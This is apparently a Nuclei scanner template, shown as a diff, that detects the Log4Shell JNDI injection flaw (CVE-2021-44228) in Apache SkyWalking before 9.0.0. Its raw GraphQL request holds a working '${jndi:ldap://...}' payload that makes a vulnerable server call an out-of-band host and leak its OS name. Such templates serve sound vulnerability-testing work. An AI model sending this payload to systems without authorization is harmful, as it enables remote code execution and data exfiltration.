skywalking-log4j-rce

vulnerabilities/skywalking/skywalking-log4j-rce.yaml

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+id: skywalking-log4j-rce
+
+info:
+  name: SkyWalking - Remote Code Execution (Apache Log4j)
+  author: pwnhxl
+  severity: critical
+  description: |
+    SkyWalking < 9.0.0 - Remote Code Execution.
+  reference:
+    - https://logging.apache.org/log4j/2.x/security.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
+    - https://skywalking.apache.org/docs/main/next/en/changes/changes-9.0.0
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 10
+    cve-id: CVE-2021-44228
+    cwe-id: CWE-77
+  metadata:
+    fofa-query: title="SkyWalking"
+  tags: jndi,log4j,rce,oast,skywalking,cve,cve2021
+
+requests:
+  - raw:
+      - |
+        POST /graphql HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        Content-Type: application/json
+
+        {"query":"${jndi:ldap://${sys:os.name}.{{interactsh-url}}}","variables":{"duration":{"start":"2022-06-22 1015","end":"2022-06-22 1030","step":"MINUTE"}}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol  # Confirms the DNS Interaction
+        words:
+          - "dns"
+
+      - type: regex
+        part: interactsh_request
+        regex:
+          - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+'  # Match for extracted ${sys:os.name} variable
+
+    extractors:
+      - type: kval
+        kval:
+          - interactsh_ip # Print remote interaction IP in output
+
+      - type: regex
+        part: interactsh_request
+        group: 1
+        regex:
+          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Print extracted ${sys:os.name} in output